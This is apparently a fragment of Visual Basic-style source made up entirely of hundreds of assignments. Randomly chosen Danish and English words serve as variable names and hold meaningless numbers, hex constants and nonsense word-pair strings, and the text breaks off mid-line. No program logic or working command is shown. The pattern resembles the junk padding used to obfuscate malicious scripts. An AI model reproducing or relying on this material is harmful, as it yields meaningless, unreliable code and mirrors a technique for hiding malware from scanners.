+Svigerfdrenes = 99 +Landstrygerne = &HFFFFA031 +Sbekaal191 = &H91FA +Plamagen = "Selvhjlpshandling frilgningen" +crimplene = "Aphroditeum overfrelsen:" +Udsprngnings = -50106 +Tittups42 = "Gangrel? ibrugtagelsers?" +Guldvrdi = -8406 +Metalskivens = 61303 +Wortle = &HFFFFC5FD +Nonirradiated = &HFFFF8197 +Foretrysail16 = -13763 +timetalsnedskringens = "Ecballium incorpses" +Lavpasfiltreringernes = 11673 +Cirkelbeviser = 49578 +Blottelserne = 28245 +Omophagia = &HFFFFC9DA +Certifikatet = "Elijah schematical;" +Ordincpr = &HFBF7 +Concordeflyet = -28110 +Navlebeskueren = "Laetic? bistandsloven" +Plaintless = 54313 +Siouxindianerne = -41672 +Plentifully184 = -36981 +rackett = &HFFFFB91F +Falkonercentret = &H43C2 +Niere = &H1221 +Bugserer = "Stamherrer. sylvian?" +Trykningsomkostning = -23330 +Tingfster = -29342 +varmeskabenes = "Biltelefonernes mousiness" +Valdemarsdages = "Bovlstrup151 saudiarabers" +Appellation = 19041 +Connivence = 14130 +Hindsight = "Koncernvirksomheders? outplaying," +cunabular = "Uncoquettish. thyreotropic," +Nsvist = 13049 +Balanceakts = &H68F1 +opstillingsmetoder = 24682 +Neurophil = &HFFFFFB0C +Snowbound = -22944 +Semiopened = 12204 +Deeny = "transubstantiate, bevggrunden" +Alpeblomsternes = 7371 +Anhydrite = &HFFFF94F3 +Gasboat = &HFFFFBF1E +Papirduge = -43494 +smertefrieste = -15098 +nrrejyde = "Plagosity. overheld?" +Virucide = "Nonworship konsultatives." +Maitressers = 62356 +Septiktankenes = 49037 +Lorn = &HA05C +Loaning = 9154 +Plenummdes = "Magnetbrere manuslinierne!" +Taljerende = &H4370 +Noyant = -64846 +Syddansker = -33963 +Bathless = 58732 +Anecdotes = "Positivers; erodium!" +Gruppesammenstningens = &HFFFF41B0 +sphingal = "Lawlessly ratably!" +urethroprostatic = "Misligholdelsens. tarvia?" +Ophthalmodiastimeter = "Skrive: flyvepladsernes242" +Outringing = &HFFFF83C3 +Troldkrabbens = -27222 +Skoledirektrens = "jenvidnes: sneharens111" +Endolymph = &HE6B9 +Naturfagenes = "Chubbed: ukraines" +Pipistrellus237 = 20911 +Negrides = &HFFFF6C65 +Stttevokaler = "Anaphases10; ignoranterne;" +Unguiculate = "Treasonously: troens" +Helligdommen = &HDCDE +Yock = 49689 +Devolatilised = "Fordmmes cajuput," +Vddelbsbanes = -39042 +Manifesto105 = 23050 +Westwardly41 = -9081 +Heptahedrical = &HFFFF3EA7 +Senijextee = "Gidseldramaers. transportmidler" +Apronful = "Garneringerne dialyserendes" +Trningsdragter = -52154 +Crosshaul = 9484 +Polemikkers = -25573 +Miljforbrydelser = "Ornithomania programprisen." +julesalaternes = &H2E6B +Fishwives = -29143 +Pentahydrate = &HFFFF7B6F +Brdristes = "Theurgically, ruptive" +Metalise167 = &H1A1D +Bogklubbgers = "Bygnings, bibiane" +Quinquenniad = &HFFFF4182 +Subfile = &HFFFF7437 +Dorsale = &HFFFF2E24 +Parallaksefri = "Heptanone, kbstdernes!" +Webs = "Oprydningsarbejdernes hydroselenuret?" +Artikulerendes = &HFFFFB9AC +sparklers = &HFFFF56E3 +Vedheftende210 = -15809 +Verdensherredmmernes = "Nostrand forlagenes!" +Indkrsler184 = "Enamellist munk" +Socialantopologiske = &H86D4 +Indiligence248 = 37535 +Arbalist = -30892 +Modstykket = -27740 +Finnjoller = -8425 +Mellemniveauers = &HBBC9 +Logothete = &HFFFF939F +Dvrgriger = -57016 +Peridesm = -52547 +Plummetless = "Salmo. diagnostics." +Dinners144 = &HFFFF74BE +Merstigningernes = "Konjektural: interessegrupper" +Overdilation = 43793 +Roadways = "brantails smaatteriet?" +Aphaniptera = -7788 +Bademulighedens = &H7489 +Wingbow5 = "Grovgarn lyknsknings;" +Hageskg = &HFFFFFA7C +Prankiest = "Printformaterne. telegrafenr" +unvenomousness = 17685 +Sammenfatte = 18686 +Trumph = "fulmar undismantled" +Avisspaltes = &HE4B +Stivrugget = "Ascochyta! henvendelse143!" +Vejrprognosen = &H4980 +Vinderpar = -27845 +Luftkvaliteten = &HB95E +Liddis = &HC63E +Trueloves = 16421 +Udpegelser = "Netvinge cautiousness" +Patentbeskyttede = &H6E7A +Ernringstilstandene = &HFB3E +Kamerabevgelser = -53920 +Manicole = &HFFFF1757 +Corticifugally = &HFFFF2249 +Unittrusternes150 = &HFFFF750F +Aphorized = &H36ED +Shirtman = "Palirrhea114 brunheds;" +Brnehjlps = "Teleplasma landingsbanerne" +Transvert = &HFFFFA04C +Cumacean = -24186 +Pedal64 = "Arbejdsmarkedsbaserede! underleverandrs" +Afhvlingers = "Betingningen155 grissens" +kidnaping = -48775 +Krybbers = &HFFFF7229 +Leddegigt = -13839 +Effektiviseret = "Dukketeatres betonens79!" +Axiomatizations = -12577 +Tommer = 13315 +Sublayer = 28036 +Skoleradioernes = &H1261 +illustrerede = &HF887 +Reconsolidations = "Studines? galliot" +Circuminsession = &HFFFFF26A +Chefgrupperne = &HC0B3 +Afvrgemanvrens = &H9BBE +Crossbolted = -10529 +Unwaivering = -9025 +Politick = "sixtieth. cdrom," +Defamingly = 62672 +underproposition = "Naensomme! resawn:" +Retrocognitive = &HDAB6 +joculatory = &H2663 +Bertholds197 = -56212 +Rekognosceringens = "forcer unscabrousness?" +Clunker = 44430 +bibliotherapeutic = "Smaaborgerligt aloeroot" +Programsprog = &HBE2B +Vaterpas47 = 47614 +Genotypically = "Objektives tickleweed" +Tilbagedannelse163 = "Slagels: kruspersille!" +Pugere = "Bldning; metalised:" +Honorand = -59113 +Profluvium = 49727 +Betydningslshed = 45818 +Kontrolere = 50199 +Repandodenticulate = &HB62C +Misinformative = &HFFFF1C55 +bogladepriser = &H188C +Feltstrukturerne = -61241 +Suppeternings22 = "Generatorernes steffans" +Rids = &H448B +Edmond = "Nordyemenitisk? pentoic!" +Lyseslukkerne = "Solcreme vmmeligste" +Gangsteren = "Tillberne: crofterize," +stvleskafterne = -48454 +Hoofprints = &H1E44 +Avisartikelen = 46853 +Betydningsfuldheden = -22924 +duniwassal = &HFFFF18C6 +lightage = -55783 +Kobird = &HFFFFB212 +Kontrasteret = &H444A +Dowdyish = -64287 +Eath = &HFFFFCA25 +Blissers = "Eftergoeres239? hippoglossidae" +Fintmaskedes = &H6640 +Cretacic = -22941 +Marinheiro = 51363 +Dosiserne = -42293 +Fetus = &HE0EB +Tovningen = &H33A7 +Uproad = -30610 +Pietas = "Acidheads dulmes" +Fiskepladsers = &H13E4 +maitreya = "Intendiment. postprojekt?" +Naturvidenskabelig = &HFFFFB74C +Minicalculators = &H20F5 +Unhumanize185 = &HFFFF464E +Hageskggets = &HFFFF051E +Bimbos = &HFFFFBA13 +Paleoentomologic = "Tegners sublimerings" +Rutins = "Generaldebats! anmassendes" +Variformed = "Trinketer, modesties" +Quinicine = 10804 +Alleroed = &HFFFF1231 +Antediluvial = &HFFFF6101 +noncoincidental = "Opgaveretningen uncloud?" +miscondition = -35506 +Swingably = -30829 +Deferrizing = &H2374 +Grundlags = "Disfranchiser. admittedly," +Snagging = -61237 +Unconvulsiveness = &H3B1D +Skabhalses = &HFFFFA4C1 +Inddaterer = 31315 +Centralsygehuse = "Sclerotinia142? prikket" +Antiloquy = 43556 +Henmoldy = -63209 +Fiskeriinspektionen = -6076 +Gauls = 22018 +Slagsvrdet = 60726 +Lovemans = &HFFFFEC09 +Extramolecular = -56880 +Kkkenhavers = -30497 +Sheetage = -56294 +Alkoholikers = 2485 +Rampick = &HDCC3 +Uvanlig = 33927 +Modtagerne = -23139 +specialtilstandes = "Fundaments sjlehelgenens;" +Countergabion = "Praksissernes assyrians" +Corvet = "Antecornu! potchermen" +Lsningsmetode = "Deltagende? nondigestible" +Tumlingernes = -32866 +Unsecluding = &H498 +Sammenhobnings = "Vildkats steering?" +Subdiscoidal = 2523 +Gonorozernes = 2944 +Polecat = "politikommissrs digtsamling!" +Forlibe = &HE630 +Voldtgterne = 78 +interdatainteressens = &HFFFF06C0 +Bedwards = &HFFFFC229 +Dancery = 36873 +Reklapstole = 59252 +Novelty = "Chilopodan endocytosis;" +Sikkerhedsstillelser = &HFFFFA793 +Scrimshandy = &HFFFFD320 +Arveanlggets = 50751 +Lissens = &HFFFF6445 +rubiaceous = "Heliophyllite: pogromed." +Hegiras = "Reslegioner? svmmeprvens" +Paraparetic = "Henryiv stikkestingsmaskinen230" +Integralernes = &HFFFF74A4 +Inscrutableness254 = &H5327 +Reificere = 8426 +Brancheforening = -41380 +Politiser = 15387 +Prodigalities162 = "Overstood: svigerfamiliernes:" +Hiking = "Benyttelsespligt: behaviouristicallies" +Kogleriets = "Enneateric sporule" +Styrkeprves = -39701 +Rhetorician = &HFFFFA81B +Ctenoid = &HFFFF1179 +Opfrelsernes = -34551 +Unbothering = &HF6E9 +azoisobutyronitrile = "Yndlingsoffer unskeligheds?" +virak = &H25F4 +Spelling = -44061 +Choledocholithiasis = &HFFFF36A0 +Myxangitis = "sensitivitetstrningers. styltelberens" +Sdelighedsforbrydelses = "Bibliofiludgaves; spidsnsedes" +Orbitolite = &HFFFF77EF +Icier = &HFFFF23DE +Rundsprges = 35607 +forurettedes = "Elektromagnetisk; frisagerne" +Undefaulting44 = 9520 +Englad = -62634 +Brnefdselsdagenes = -58539 +Snliges = &HFFFF4212 +Conundrumize = -16070 +Skrebrtternes = -61582 +Renegeredes = 17187 +Moonlike = &H27FF +Efterretningsvsnets = 56458 +Vinduesfunktioners = &HFFFFE8A8 +Agromania = "Monogastric eparchean" +Dipsy = -64176 +Ahaaina = "Steatites! kilovar" +Obstruktionen = "Lakie? skruestiksbnkenes;" +Decidere = -58691 +Konicitet = "Demontering levnedsmiddelets:" +Unescaladed = &HFFFFB0BA +Hjtforrentet = &H3093 +Talemaaden = &HCEDA +Aegagri = "Dutton defilement?" +stiftsfrknen = &HA891 +Birles = -32863 +Ejakulerendes = 41737 +Slgtsbgerne = &HFFFF08DE +Nonblack69 = 23232 +Istandstterne = &H8962 +Halsendes250 = -42864 +Theatrical = &HFFFFCBF1 +Manubriated57 = "Tapetbrsten lavendered?" +hockeyen = -48439 +Sprogligt = &H84B0 +Nondisparateness = "kabysgrej, hubertusjagterne" +Flirtational113 = &H2B4F +Filefishes = 64045 +billederne = "Trylleris? equivocations;" +besprjte = 63736 +Mankere = "begrebsverdners outsleeps" +Posttype = -18164 +Omgaa = &HC03 +Homiletic = -3403 +Lammie = "Hosekrmmerens forhandlerstrukturens," +Dorsalmost = -489 +Superstamp = -20012 +Acclimatisers = "Revetoed? shirking." +Takkeskrivelsers = &H8881 +Stverjagtens = "Shuntkontakternes amtsplan" +Subcategories110 = &HFFFF8400 +Modelflyveres = "Magtfuldest geschfterne:" +Arvetanter = &H1C27 +Mispunctuated = &HFFFFFB39 +Boracites = &HFFFF61AB +Tilfredsstillende = 35366 +Platysomidae = &H51B4 +Traadvrkenes = "Inkassering: lyrens" +Sndenvinden123 = "Aquerne hippocastanaceous" +Heloma = "Tordenprdikens. oversetter," +Bm117 = 35649 +Retskrivningsregler = "Fornyernes, biparous." +Bagdrenes = 27120 +Subtrahend = "Moorage; semidiapason;" +Witchedly = -1420 +humbles = -13534 +Theriomorphous = &HD288 +Aalndingenes = "Bassin uafsluttede" +Intuitivt = 27791 +Youthened = "Thromboembolic178? brnelrdom;" +Angivelsers = "Britannically approksimer." +Klodsmajorers = "balancernes; akupunktrs" +Odonnell = "Hovedordbgernes. tvillingernes?" +Bekvemmestes209 = &HFFFF9A97 +Sammenlignet145 = &HF52B +Subradius = "Hansas noblify." +Girlfriend = &HFFFF3B08 +Piniferous = 637 +Gangstiers = &HFFFFFB49 +Ringvragenes = 47059 +Netvrksmde = -15469 +Unimpearled = "Frokosters100, cleruch" +Overdevoutness = -31225 +Skruehoveder = "Talkolonnen. vkstperiodernes," +Antiskidding = -8747 +Scenographically = &HFFFFA281 +Preindemnifying = "Hjulophng; urligheden97:" +Marnis = "Abnormalized subchaser" +Mediere = &H380B +Debuterne = 24499 +Sekretariatsmedarbejder = "Skaermdialogen, nonprophetically" +Aspargeshovederne = "Lymfe: forlie" +Blndrammes = &HFFFFE245 +Countervolley = &H6E42 +Becifrings = 16034 +Panoptical = "Squanderingly; wobler?" +Hundepensionen = 21459 +Tunicked = -26574 +Brndevinsbrnderens = -47548 +Embargoen = -4811 +Shepherdling = 53199 +Gaulding = 54717 +Amatrteatrets222 = &HFFFF8EF6 +Penneprvernes = &H778A +Polyoecious = &HFFFFE993 +Postdigestive = "Benzinselskaberne? beskikkelsens:" +Truckled = "Condoned assureredes?" +folkemusikkens = "Marthins nonemotional?" +Kultid = "Erhvervede, tidebog!" +Podet = &HACD5 +Trldomsaag = -56750 +retouchment = -7849 +Datamateriales = 5315 +unrecognizingly = -16010 +Nutidens = "Lyceal: gravimeter" +Selvflgeligeres = "Misopedist; trossags:" +sorcerer = &HBBF8 +estruplunds = 29205 +Tunesiskes200 = 38883 +Scorpionweed = "Patriarks. tilbagerapporteringen!" +Wondering = -7804 +Hunknsordet = "Efterladenskaben folketingssamlingens149" +Afmnstringen = &H5D0D +Magnifique = -16921 +afgiftsmssige = &HFFFF7617 +Undecayable = 37061 +Snderknuse = &HFFFF783E +Befalingen = "Steepled, designvalgenes," +Beviskraften = &HAD72 +Campere = 60974 +Udstemplingerne = 9850 +Halvmaskers = "Stormlbet. bylder155?" +Precorneal = &H26 +Remailing = -11247 +Stabstamburerne = "Reservelgers155, epicele" +Nysende = &HFFFFF39D +Avlsgaardes = "Optugte angelikkers:" +Chalazoin = &HFFFF9FD9 +Fruitling = &HBA79 +Nonbureaucratic = -4204 +Thorniness = "Tilbagevendendes! servil" +Immanently = &HFFFFD07B +Virke64 = 27111 +Gengangerens = &H5650 +Mellemlederen = "Tsemidlernes! nonexpeditiousness;" +Anmeldelseers = 15967 +Digtcykler = -51411 +Definitely = "Trillingefdslens hidebound108!" +Smeltehytten = -800 +Chousers = &HC5D2 +Etpartisystemets = -57216 +Kartonnerings = &HFFFF8EF5 +Licitere = "skibsfarternes storforbrugeres," +Logistiks = &HFFFF472D +Baasesystemer = &HF2C +Byggevedtgt = &H4ECA +Varmefordelingerne = "Pellas boeger." +Fordelagtigt = "Haandsbreddernes, jointist" +Totraadet = &H324A +koncernvirksomhederne = "Rygsvmmernes, flikkers149!" +Sleeper = &H208 +Siphunculate = 57412 +Forhaabningsfuldes = &HFFFF9188 +Pivotally = 52931 +Byttelejlighederne = -1977 +Romaniseringens = "Minkfarmes, gttede" +Kammesjukkerne = 64153 +Gapes = &H7E0A +Livsaligt = &HE683 +Typographers = "Topiske; betragninger:" +Sprogtalenterne = &H4A00 +Elevatortrucks = "Kragernes elverskuddenes." +Turrel72 = "Flaadebaser indersiderne" +Sibiric = 50314 +Accommodativeness = -55663 +Unimpressible = "Benediktion clap" +Shih = &HDEB6 +konomikontorernes = -29428 +tilsvarer = "Depressivitetens carnifies," +Afknappede = "Modifying hjlpemenuernes?" +Cathys = &HFFFF903A +Ninia = &HFFFFC572 +Jehulernes = "Galopkringler; womeras88?" +Signposting = &HFFFF5123 +Dvfdtes = &H76C +Azande = -23444 +Finnmark16 = -55917 +Metatheology = "Asymmetriens tankeforbindelses" +Encarnalized = 63761 +Unaspiring = &HFFFF222C +Emanere = &HFFFF2255 +knaser = "Bhmndenes? luftsygt!" +Mesostylous = 50557 +Iglens = &HA80C +Haveredskabets188 = &HFFFF5347 +Miliondelene = &H69C5 +Fjanterier = -2521 +Cloisterlike = 15864 +Volutoid = 44004 +Frogling = "Plejningerne nringsmaterialets," +Gaasehuden = &HCEA1 +Smleris112 = -55523 +inderkanten = -26000 +Doroteas228 = "Octahedrical. noncasuistic" +Regulativs = &HFFFF78D2 +Articulatenesses = &HC2E6 +Porcate = &H6C3 +Storfyrsters = -63721 +Yildun = "Oilproof! symbolisere." +Tilbagedateringers = 64013 +Stevns = -52237 +Spiders = &HFFFFCB7B +Coragio = -57736 +Doet54 = "Spadepladsens10 nanosekund29" +Srbrnenes68 = "Blodprven! readmit?" +Unsumptuous = &H6625 +Bagageboksens = "Intervalhalveringers, bronkiers," +Hiat = "landgangs firecifrede," +Hensynslsheds = &HFFFFDA73 +Halvnode = &H7132 +Chaperoner = "Jordtilliggendets. cookshops," +Sagsomkostnings80 = -31338 +Overcaptious = "Acerbic! brudelysene." +Sidevindene = -43211 +Udelikate = 27163 +Kryptiskes = -1899 +Pagajen = 33259 +Svajmasters = -31360 +Gruberne = "cedrela. tumour" +Rodolphe = "Skovfyr personregistre" +Boil = "Auskultant29? seppuku" +Dendrolatry = &H471 +Loranstationens = &HFFFF0A4C +Accountant = -16222 +Tercentennials = 62411 +Maskinskades = 43343 +Acarine = &HFFFFDA66 +Unbraze = "Officinernes, accustomed244" +Tracheotomize = "Antifeudalistic titrervsken" +Glossorrhaphy = -32999 +Unencored = -7765 +Tilskdningers = -52217 +Retrospect = &H1256 +Himlens = -27540 +Troll = -2001 +Overvaegt = &HFFFF2811 +Forsvarsmekanisme = &HFFFF9D42 +Perqueir = &HBC16 +Multiplex = -4154 +Bestallingers = "Rationalisere realpolitiks170:" +Reprisers = "Fremmaning; slipperne." +Korrosion = "Wenniest! laborant" +Dild = "Hjertemusling velvret96." +Tsarina = &H59A3 +Fertilitate = &HFFFF6F18 +Psykotest = &HF7D0 +Landboforeningers = "Cumidine; memorialised" +monrads = &HFFFFA598 +Renny = 27313 +cortina = "Rekrnkelsen; bidigitate," +Letterin = -29983 +Gordiaceous = "Turgidities outchase;" +trops = "Gonokokker distributionsbaand" +Tonemes = &HFFFF16B6 +Handlinger = "Ginkgo retskrivningssystemer" +Strafansvar = -21034 +Uvederhftigheder = "Straamandens. udfordringer" +doo = -57184 +Ermin = 12353 +Preascertain = "precurrent vinddreven!" +Ganga110 = &HFFFFF129 +Siklinges = &H818F +Levevilkaarenes = 27759 +Reconsiders = 1283 +Boterol = "Rekrutters gtehustruen," +Corridors = &H6B92 +Viadukternes = 40233 +Tavseres = "Deriveringerne158 saddlebacked" +Hussyness = "Janghey. papirposerne." +Attributions = "Oversqueamish psykoterapis," +pensionrs = 16140 +Gelatinotype = 63623 +Dekodningen = &H3369 +orthorrhaphy = -59232 +Tempete = "Gusts; stupration," +Udenbys = -13321 +Veering = "Preprophetic rydningers249." +Storyen = "Immunist! homonymt," +Heltidsansatte = "Unrecreated stretchers," +Luiseno = -33027 +Bredbaands = "Tankeeksperiment insufferable." +Foraeldregruppe = "Kompendiers171 badehuss" +Mercat = "Antienvironmentalism? flegmatiker" +Unshowmanlike = -8961 +Polygonerne = &HFFFFA4CB +Workmanlike = -29875 +Nodi = -57096 +Heldterninger = -42055 +Rytteris = &HFFFF1662 +Forbundsformanden73 = &HCA75 +Tyktarms = "Lydblgens: slagvolumen;" +Beroligelsens = "Upwarp integrerende57" +Paaloebne = &HFFFFE2ED +Periovular = &H883B +Bedriftssundhedstjenestes = &HFFFFD8A5 +Vedkendende = &HFFFFE49E +Antipathizes = "Millipoise, eleutherodactylus?" +Nusene = "Deklamator, platitudinised10:" +Tickers = &HFFFFF6D0 +Statskuppenes = 55560 +Crouchback = &HFFFF9545 +Cancellated = &HFFFF9170 +Kerslosh = &HFFFF1EBD +Anciennitetsberegningerne = -15542 +Modangrebet = "Affaldskortlgningen marcionism" +Vandskrks = "Traditionelt: betragningens" +Psammites = &HFFFF6FBE +Delver = -10451 +Hoofmarks = "Autostoppene, hypoed" +Bacongrisenes = "Plenumindlggene tunic" +Afskallede = &H6370 +Pentadactylate = &HFA8C +readmits = -54568 +Kohens = 44913 +Ecumenics = "Nonconcentrativeness. rabatkode" +Fathom160 = -17391 +Udstafferingers = "Gambiernes natricinae" +Castrators = -15114 +Sagadigtningen = &HFFFF6BF8 +androidal = "Ksi expedience" +Locomobile = "Glycerines62; centralasien220" +Schlocky = &HFFFF83E5 +Saldobalancer = 13743 +Idijassociationens = "Archichlamydeous! kvantitetens!" +Erhvervssygdomsudvalget = &HC06C +Soraners = "Plottingly fulminations." +Multiprogrammeringskernens = "Komprimere. fleckless" +Elks = "Lovlst fagocytternes," +Jenkrogenes = 17634 +Innersoles236 = 16064 +Skabsdren = "cyanomethaemoglobin paksler:" +Fordreje = &HFFFF4D34 +Gunkhole = "Kaufmann absorberer!" +kulturklft = &HFFFF3CC8 +Muishond = -1600 +Parallaktisk = 61105 +Agglomeraters = &HA904 +Comourner = "Talonavicular200. nedrakket" +Buksetroldenes = 33622 +Portionable = "Fashionableness. indtgtsnedgangene" +Preferability = &HFFFFB977 +Uniambic = "Trepartsforhandlinger zootrophic114" +Menneskeverdenen = -59145 +collock = "Reverso44 finetop!" +Syndflods = "Brachydodromous? akkordeonet" +Afisningen = "Arbejdstids, taknemligt." +physiologies = -43527 +overvismand = &HFFFF466F +Fondsregnskabet = &HE3CF +Lipopoda = -50736 +Sana = &H2460 +lawcourt = &H8447 +Systemrelations = 38002 +Brevkontrol = &H1646 +beregningsskemaer = &HFFFF73F4 +Tutor = &HFFFF8FF4 +Merrick125 = "Yus tmningernes." +Invoking = &H4711 +Kje = "Skaaningen fishmonger" +Counterbreastwork = "Squadrons: warragal?" +Nighs = &H6F6B +Atman = &HFFFF9D59 +Segregateness = "Granuleringer; nitridisation" +wimble = "Skrllemaskinen pampre!" +Nondisagreement = &HFFFFF889 +Stteri = &HB8D8 +Gidseltagere = "Fionnuala skibonitters?" +Dhan = -15670 +Presterilizes = "Missils, slvstole;" +Udstykkende = 55604 +Purists = &HFFFF3679 +Kopecks = "Tubeman? fdebyen" +Efterstning = -49778 +Matematikopgaver = "Fungjmr: narcisserne" +Jonglr = "Proskriptionerne: lawings" +Retoucherings = &H1D7D +synsopfattelses = -387 +Flugtskydningsbanes = &H83F6 +Anele = "politimssiges blackfisher66." +Fatnesses = -53875 +Dronen = -59270 +Allopatrically = &H7D50 +Flotheden = &H2ECA +Bibragt = &H6D97 +Sponsorende = "peso, fastland" +Unassimilating130 = "Forsvenskende dkningsstyrkerne?" +Unchattering57 = 38581 +Unsubjectable = &HFFFFCD37 +Megalomaniacally = &HFFFF6EF2 +Renullified = "Trvemosens philanders!" +handelsgymnasiums = &HFFFF8933 +Uneligibility = -59463 +Arveanlg = &HFFFF72C5 +Packetisation = "Vandalernes! autocratrix?" +Taggle = "Kiesselguhr mazinesses!" +Forsimplingerne = 19017 +Untraceable = "Portraitists? regnetegns" +sultegrnse = "Quad myreslugerens" +Udvirkningen = &HFFFFFA2D +Semifossilised = "Ddsmrket rullekrave!" +Bevgeligere = 20799 +Henrietts = "Planeting230 stenting." +Wahids = "Genrers! killow?" +Upbborne = "Ergometric caddishnesses;" +Wittie = &HFFFF5E14 +Parasitophobia = &HFFFF20EF +Reversere = 25305 +Lvemankers = 21401 +Bransles = &HFFFF1603 +Magters = &HFFFF6739 +Hyblen = "Sauceman udmntningsprofilens181" +Nonsemantic = 57367 +criticised = -40516 +Fyndordet = 7422 +Benls = "Mdetiders, monologised" +Vitriols = &HCB58 +Frmnd96 = &H6DD5 +Kernedanske = &HFFFF27AC +Playfere59 = "Subarea. filmmusikken" +Sylvius = -4182 +Udfrir = "Jonen: fjerdingvejs" +Skget9 = -59293 +Narcotizing = -48188 +Tvungne = 59448 +Cadmieringer = 33331 +Hjertekvababbelsens = &HFFFF068F +Ager = &HFFFFDA37 +Usportsligt = "Spegeplsemad; jodle53" +Stemmeretskampagnens = "Selvglde mortuarian!" +Styrvolters = &HB0F1 +autocatalyses = "kollektivhusene blufrdige," +Billedlotteriers = 22969 +Draughting = 63357 +Bortkastelses = &HFFFF95AC +Perverseste = "Notariel betnkende" +Emys = "Kamelulden; tenontology62!" +Tandplejerne = &HFFFF8F42 +skeletters = "Strepera; gasmaaleres:" +Bareness = 1831 +Nonage = &HA4DB +Rygskkene = "Nonrepresentable? properispomenon." +Trichobezoar = &H764D +Mountdoom = -57645 +Adressels = -36396 +Sprutrdes = &H696 +Torchlighted = &HFFFF68E2 +Micrometrically = 53141 +Misdannedes = &HFFFF1066 +tapinophoby = &H67DC +Ailuromania = "Unlugged; defatigable." +Engulfs = "Fortolkes: trafikproppers" +Klodshans = 21677 +Bundskrabernes = -64659 +Screenwork = &HE148 +Plebiscitarian = &H7DA6 +Unittrusten201 = &H72A2 +Paragraph = -35041 +Kvoteringerne = &HF7B +Croquises179 = "Nyssaceae hypnotiseredes" +Fiskemelsfabrikker = &HFFFFF688 +Prepeduncle = "Duplikationers34, pyracantha" +Tekstfil = 23060 +Outgnawing = 1790 +Curacaoernes = "Commendation? tilkrte." +Prcise = &H1B4B +Dynasticism = "Tavlesvampens spaltefrugts" +Spongeflies = -54663 +marmorean = "Bambusstavens unreluctantly54" +Rackan = -61132 +Grillristes = -39126 +Eructative = "Micheas buffering:" +Encumbrances = -60392 +Drmmebilledets = -31323 +Standarterne = 15653 +Mirakuls = &HFFFF089B +Memberships = &H10B7 +Nonguaranties99 = &H5E79 +Listefring = &HFFFF6737 +Redefeating = "Snavsede; dishonourer;" +lunkenhedens = &H214 +Kodegenererings = -15983 +Turgescible = &HFFFFCF07 +Smilodon = &H430F +Aphelenchus = &HAFFE +effectuation = 20801 +Hndelsesvis = "Paafrt185; unpawed," +Slangebid = -48921 +Tudehornet = -52052 +certifikatpligter = -32595 +Unfaulty = &HFFFF0B82 +Balsamise = &HFFFFE286 +Tjenestestillingernes = "Fermenteringens: reforging" +Fordmmelsernes = -42824 +Fredagen = -21880 +Cornmonger = -7047 +Disrates = &HFFFF8801 +Curiologic = 4979 +Wildfires = -57717 +Unimpatient = 10049 +Fejlkontrol = "Depolymerization haelder" +Quarreled = 64110 +Spidsrodslbet = 8140 +Dataloger = &HFFFF9D6C +Insubordinations = &HFFFFA225 +Afvendes = &HD2EE +Tramplers = 29949 +Gregariousness = 43973 +Knudes180 = 46254 +Roedhaette = "Passerede; paragrafferingerne" +Jovialitetens = -12078 +Sicks = 32613 +clype = "elastically. skumgummi," +anmarchen = "Tilendebringelsernes; beredskabsplanlgningernes" +Misforstaaendes = &HFFFFEDCB +Anthorine = -53200 +Samtidens = 45162 +Pendulant = &HDDCC +Underfakturering = 33155 +Oxygenisers183 = -21392 +Invised = "Apprentice. hinging;" +Smdedigtes = &HFFFF79F3 +thanatobiologic = 55780 +Kontrastrig = "Udslusningsinstitutionernes eksperimentel" +kapitalpensionernes = "Billettren. tilbede;" +Friturekurvenes = "Lnopgrelsen hundyret" +eupatridae = &HFFFF796B +Damesko = "Fjervgterens: filicauline," +Festlige = "Snolds laury" +Kars = "Setters; palmesndagen;" +Fyringsoliernes = &H15F3 +Hyperbarbarously = "Lssluppent! ferreted" +Afpilninger = "Dobbeltbeskatningsoverenskomsts162 kroforvalteres!" +Splenocele = 29706 +Choriambs = 30548 +Emotionalize = &H188E +Rudie = -60937 +Instruktionskursussets = &HFFFFB7FB +Ugriske = 17131 +Materiernes = &H4F6E +Finalities = &HC0FA +Sminkekrukkens = "Mattheus, bordvinens!" +Cacei = &HFFFF1FFD +sortbrsgrosserernes = -36999 +Farmington192 = "Conjectural! lfteparagraffen;" +Ansporede = &H543A +Afskibende = &HFFFFD0DE +Informationsdel6 = &H47D5 +organellae = "Scrutinizinglies trefoillike;" +Exempts6 = &H11D7 +domesticere = -39823 +Indeklemtes25 = 34393 +Udspecialiser = -57356 +Foremartyr = "Hexylene! sandfish:" +Importernes = -7685 +Heterotrichida = &HB449 +Irrational = 42310 +Krydsmissilernes = 49198 +Astonies = -46537 +Byguerillaerne = "Civilingeniruddannelserne; metalbumin:" +Nasioalveolar = "Coenurus? surmuledes" +Inhabits = &H5E9A +Kumulering = "Skivesvampenes; enrollee;" +Skoledirektioners = 23891 +Ora = 5827 +Myrmecobiine = 28191 +Tempels = 61899 +Crematoririums = "Linjetllerens ischiocele" +Cotterite = "Kraevende: birdies77" +Jurisdictionally = "Fingerboards! sammenkd" +Missilery = 55915 +Dualizes = "Snaw: sprogforskerne" +Kroater = &HFFFFFFA7 +Forureningsudvalget = -12601 +Crowded = 32978 +Caledonite = &H33E4 +Perfidere = -32388 +Hypersthenia = &H90D1 +Localises = "Begrs; markedsfringsomkostning:" +Elevskolerne = "Sloganeering unpegged" +Vrdilshed = "Prolegate bondehuses:" +Repudiating = 37951 +Forlngerne = "Impersuasible modsigelsesfrie." +Consimilating = -64789 +Gennembld117 = "Kommateringstegnets unacclimated" +Indskydningers = "Draggingly? gennemfre!" +Imitativet = -14637 +Utilgivelige = &H80BE +Indbetalingers = -43828 +Ceorl = "Ratihaberede eksorcisten129!" +Maskinordets = 3984 +Holsten = "Portionsvis. boghveden!" +Burre = "Forfatterindes, genoprustning;" +Jiggled = "Eskadreroningens? outloving!" +Funktionrens = "Eventyrerskens restorations?" +Stilleknapper = &H4FB9 +Kondensationen = "Basuneredes. billetkontrollen." +Statsbudgettet = &HFFFFBE20 +Rottweileren = &HF5E6 +Chancriform = -56512 +Jernbanetransports = &HA112 +Vicissitudinousness = &HFFFFE5F2 +Rouncival = &HFFFFF1E1 +Brokenhearted = 35733 +Thunders = &H880B +Trickment = "Tysklandskort; juryrigged;" +Animatorernes = -24498 +Gemmologi = "Antinazistiske? boiseries," +Vivandire = &H6266 +Bengalerne = "Vehefternes ulykker," +Modsagt = 16340 +Forhandlingspause = -48722 +skaaret = -20614 +transformist = &HFFFF9774 +Spyede = "Emissionsspektrernes. madapolan;" +Bagkroppes190 = 26561 +Allolalic = 64940 +Outsmarts = &HCCD9 +Phraseograph = "Badenichernes: rafraichisseurerne." +Areopagite233 = &HFFFFC201 +Juventus = "Rudskalle? armatur" +Tflerne = "Distriktsdomstolens haploidy!" +Plumres185 = 56674 +Perimeningitis = 